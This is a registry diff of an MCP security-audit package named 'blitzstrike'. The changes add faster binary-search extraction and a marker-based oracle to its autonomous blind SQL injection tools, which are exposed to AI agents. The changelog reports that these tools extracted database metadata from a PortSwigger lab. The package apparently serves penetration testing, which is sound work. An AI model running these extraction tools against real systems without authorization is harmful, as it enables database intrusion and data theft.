blitzstrike 2.4.161 → 2.4.162

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CHANGELOG.md CHANGED
@@ -5,6 +5,24 @@ All notable changes to Blitz Strike are documented here.
5
5
  The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
6
6
  and this project adheres to [Semantic Versioning](https://semver.org/).
7
7
 
8
+ ## [2.4.162] — 2026-10-11
9
+
10
+ ### Added — binary-search extraction + marker oracle (blind SQLi)
11
+
12
+ - `blind_sqli_extract` now binary-searches the charset (≈6 requests/char) instead
13
+ of a full linear scan — via a `>` string-comparison template derived from the
14
+ `=` template (the trailing `--` already neutralizes the original closing quote).
15
+ Per-char equality verify + linear fallback keeps case-insensitive collations and
16
+ special chars correct.
17
+ - Added a `marker` option to `blind_sqli_confirm` + `blind_sqli_extract`: a text
18
+ that appears ONLY in the TRUE response (e.g. "Welcome back"). The boolean oracle
19
+ becomes marker-presence — robust against baseline page-size drift (PortSwigger
20
+ home drifts ~2.6KB between requests, which broke exact byte-count equality).
21
+ Byte-count fallback is now nearest-reference (closest to TRUE vs FALSE size).
22
+ - Verified end-to-end on a live PortSwigger blind-SQLi lab (TrackingId cookie,
23
+ PostgreSQL): confirm both channels + extract version="PostgreSQL",
24
+ database="academy_labs".
25
+
8
26
  ## [2.4.161] — 2026-10-11
9
27
 
10
28
  ### Added — Cookie injection support (blind SQLi)
package/dist/index.js CHANGED
@@ -62486,6 +62486,13 @@ function makeFetcher(base, param, method, bodyTpl, cookieName) {
62486
62486
  return -1;
62487
62487
  }
62488
62488
  },
62489
+ async body(payload) {
62490
+ try {
62491
+ return await (await send(payload)).text();
62492
+ } catch {
62493
+ return "";
62494
+ }
62495
+ },
62489
62496
  async time(payload) {
62490
62497
  const t0 = Date.now();
62491
62498
  await this.size(payload);
@@ -62499,17 +62506,29 @@ async function confirmBlindSqli(baseUrl, param, value, dbms = "mysql", opts = {}
62499
62506
  if (!p)
62500
62507
  return { error: `no blind-SQLi playbook for '${dbms}'`, known: ["mysql", "postgresql", "mssql", "oracle", "sqlite"] };
62501
62508
  const F = makeFetcher(base, param, opts.method ?? "GET", opts.body, opts.cookie);
62509
+ const marker = opts.marker ?? "";
62502
62510
  let boolDiff = false, bt = -1, bf = -1;
62503
62511
  let boolBypass = null;
62504
62512
  const btv = oracleBypassVariants(p.oracle.boolean_true);
62505
62513
  const bfv = oracleBypassVariants(p.oracle.boolean_false);
62506
62514
  for (let i = 0;i < btv.length; i++) {
62507
- const t = await F.size(`${value}${btv[i]}`);
62508
- const f = await F.size(`${value}${bfv[i]}`);
62509
- if (t >= 0 && f >= 0 && t !== f) {
62515
+ const tP = `${value}${btv[i]}`, fP = `${value}${bfv[i]}`;
62516
+ let diff = false, tN = -1, fN = -1;
62517
+ if (marker) {
62518
+ const tb = await F.body(tP), fb = await F.body(fP);
62519
+ diff = tb.includes(marker) !== fb.includes(marker);
62520
+ tN = tb.length;
62521
+ fN = fb.length;
62522
+ } else {
62523
+ const t = await F.size(tP), f = await F.size(fP);
62524
+ diff = t >= 0 && f >= 0 && t !== f;
62525
+ tN = t;
62526
+ fN = f;
62527
+ }
62528
+ if (diff) {
62510
62529
  boolDiff = true;
62511
- bt = t;
62512
- bf = f;
62530
+ bt = tN;
62531
+ bf = fN;
62513
62532
  boolBypass = i === 0 ? null : btv[i];
62514
62533
  break;
62515
62534
  }
@@ -62572,22 +62591,37 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62572
62591
  const F = makeFetcher(base, param, opts.method ?? "GET", opts.body, opts.cookie);
62573
62592
  const getSize = (payload) => F.size(payload);
62574
62593
  const getTime = (payload) => F.time(payload);
62594
+ const getBody = (payload) => F.body(payload);
62595
+ const marker = opts.marker ?? "";
62575
62596
  const maxlen = opts.maxlen ?? 64;
62576
62597
  let channel = opts.channel ?? "boolean";
62577
62598
  const contexts = ["'", '"', "", "')", '")'];
62578
62599
  let ctx = "'";
62579
- let trueSize = -1;
62600
+ let trueSize = -1, falseSize = -1;
62601
+ let ctxFound = false;
62580
62602
  if (channel === "boolean") {
62581
62603
  for (const c of contexts) {
62582
- const t = await getSize(`${value}${p.oracle.boolean_true.replace(/^'/, c)}`);
62583
- const f = await getSize(`${value}${p.oracle.boolean_false.replace(/^'/, c)}`);
62584
- if (t >= 0 && f >= 0 && t !== f) {
62585
- ctx = c;
62586
- trueSize = t;
62587
- break;
62604
+ const tp = `${value}${p.oracle.boolean_true.replace(/^'/, c)}`;
62605
+ const fp = `${value}${p.oracle.boolean_false.replace(/^'/, c)}`;
62606
+ if (marker) {
62607
+ if ((await getBody(tp)).includes(marker) !== (await getBody(fp)).includes(marker)) {
62608
+ ctx = c;
62609
+ ctxFound = true;
62610
+ break;
62611
+ }
62612
+ } else {
62613
+ const t = await getSize(tp);
62614
+ const f = await getSize(fp);
62615
+ if (t >= 0 && f >= 0 && t !== f) {
62616
+ ctx = c;
62617
+ trueSize = t;
62618
+ falseSize = f;
62619
+ ctxFound = true;
62620
+ break;
62621
+ }
62588
62622
  }
62589
62623
  }
62590
- if (trueSize < 0)
62624
+ if (!ctxFound)
62591
62625
  channel = "time";
62592
62626
  }
62593
62627
  if (channel === "time") {
@@ -62601,16 +62635,24 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62601
62635
  }
62602
62636
  }
62603
62637
  const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_/.-:@";
62638
+ const bsCharset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
62604
62639
  const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
62605
62640
  const render = (tpl, pos, ch) => `${value}${tpl.replace(/\{query\}/g, queryExpr).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
62606
- const matches = async (tpl, pos, ch) => channel === "time" ? await getTime(render(tpl, pos, ch)) > 600 : await getSize(render(tpl, pos, ch)) === trueSize;
62641
+ const isTrue = async (tpl, pos, ch) => {
62642
+ if (channel === "time")
62643
+ return await getTime(render(tpl, pos, ch)) > 600;
62644
+ if (marker)
62645
+ return (await getBody(render(tpl, pos, ch))).includes(marker);
62646
+ const s = await getSize(render(tpl, pos, ch));
62647
+ return s >= 0 && Math.abs(s - trueSize) <= Math.abs(s - falseSize);
62648
+ };
62607
62649
  const variants = extractBypassVariants(baseTpl);
62608
62650
  let tpl = variants[0];
62609
62651
  let tplBypass = null;
62610
62652
  for (const v of variants) {
62611
62653
  let ok = false;
62612
62654
  for (const ch of charset) {
62613
- if (await matches(v, 1, ch)) {
62655
+ if (await isTrue(v, 1, ch)) {
62614
62656
  ok = true;
62615
62657
  break;
62616
62658
  }
@@ -62621,18 +62663,31 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
62621
62663
  break;
62622
62664
  }
62623
62665
  }
62666
+ const gtTpl = tpl.replace(/='\{char\}'/, ">'{char}'");
62667
+ const extractChar = async (pos) => {
62668
+ let lo = 0, hi = bsCharset.length - 1;
62669
+ while (lo < hi) {
62670
+ const mid = lo + hi >> 1;
62671
+ if (await isTrue(gtTpl, pos, bsCharset[mid]))
62672
+ lo = mid + 1;
62673
+ else
62674
+ hi = mid;
62675
+ }
62676
+ const ch = bsCharset[lo];
62677
+ if (await isTrue(tpl, pos, ch))
62678
+ return ch;
62679
+ for (const c of charset) {
62680
+ if (await isTrue(tpl, pos, c))
62681
+ return c;
62682
+ }
62683
+ return null;
62684
+ };
62624
62685
  let out = "";
62625
62686
  for (let pos = 1;pos <= maxlen; pos++) {
62626
- let found = null;
62627
- for (const ch of charset) {
62628
- if (await matches(tpl, pos, ch)) {
62629
- found = ch;
62630
- break;
62631
- }
62632
- }
62633
- if (found === null)
62687
+ const ch = await extractChar(pos);
62688
+ if (ch === null)
62634
62689
  break;
62635
- out += found;
62690
+ out += ch;
62636
62691
  }
62637
62692
  out = out.trimEnd();
62638
62693
  return {
@@ -65414,10 +65469,11 @@ ${statusLine}` : statusLine },
65414
65469
  dbms: string2().optional().describe("DBMS for the oracle payloads (mysql | postgresql | mssql | oracle | sqlite; default mysql)"),
65415
65470
  method: string2().optional().describe("'GET' (default) or 'POST' for form/login blind SQLi"),
65416
65471
  body: string2().optional().describe("POST body template with {value} placeholder for the injection point (e.g. 'uname={value}&passwd=admin&submit=Submit')"),
65417
- cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId' — payload injected into the Cookie header value)")
65472
+ cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId' — payload injected into the Cookie header value)"),
65473
+ marker: string2().optional().describe("Text that appears ONLY in the TRUE response (e.g. 'Welcome back') — robust oracle for pages whose size drifts; overrides byte-count")
65418
65474
  }
65419
- }, async ({ base_url, param, value, dbms, method, body, cookie }) => {
65420
- return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body, cookie })) }] };
65475
+ }, async ({ base_url, param, value, dbms, method, body, cookie, marker }) => {
65476
+ return { content: [{ type: "text", text: JSON.stringify(await confirmBlindSqli(base_url, param, value, dbms ?? "mysql", { method, body, cookie, marker })) }] };
65421
65477
  });
65422
65478
  server.registerTool("blind_sqli_extract", {
65423
65479
  title: "Blind SQLi metadata extraction (autonomous)",
@@ -65434,10 +65490,11 @@ ${statusLine}` : statusLine },
65434
65490
  index: number2().optional().describe("Row/table index, 0-based (for tables/columns/data)"),
65435
65491
  method: string2().optional().describe("'GET' (default) or 'POST'"),
65436
65492
  body: string2().optional().describe("POST body template with {value} placeholder"),
65437
- cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId')")
65493
+ cookie: string2().optional().describe("Cookie name if the injection point is a Cookie (e.g. 'TrackingId')"),
65494
+ marker: string2().optional().describe("Text appearing ONLY in the TRUE response (e.g. 'Welcome back') — robust oracle for size-drifting pages")
65438
65495
  }
65439
- }, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body, cookie }) => {
65440
- return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body, cookie })) }] };
65496
+ }, async ({ base_url, param, value, dbms, target, channel, table, column, index, method, body, cookie, marker }) => {
65497
+ return { content: [{ type: "text", text: JSON.stringify(await blindSqliExtract(base_url, param, value, dbms ?? "mysql", target, { channel, table, column, index, method, body, cookie, marker })) }] };
65441
65498
  });
65442
65499
  server.registerTool("oob_start", {
65443
65500
  title: "Out-of-band callback listener (blind SSRF/XXE/SQLi/RCE proof)",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "blitzstrike",
3
- "version": "2.4.161",
3
+ "version": "2.4.162",
4
4
  "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
5
5
  "type": "module",
6
6
  "bin": {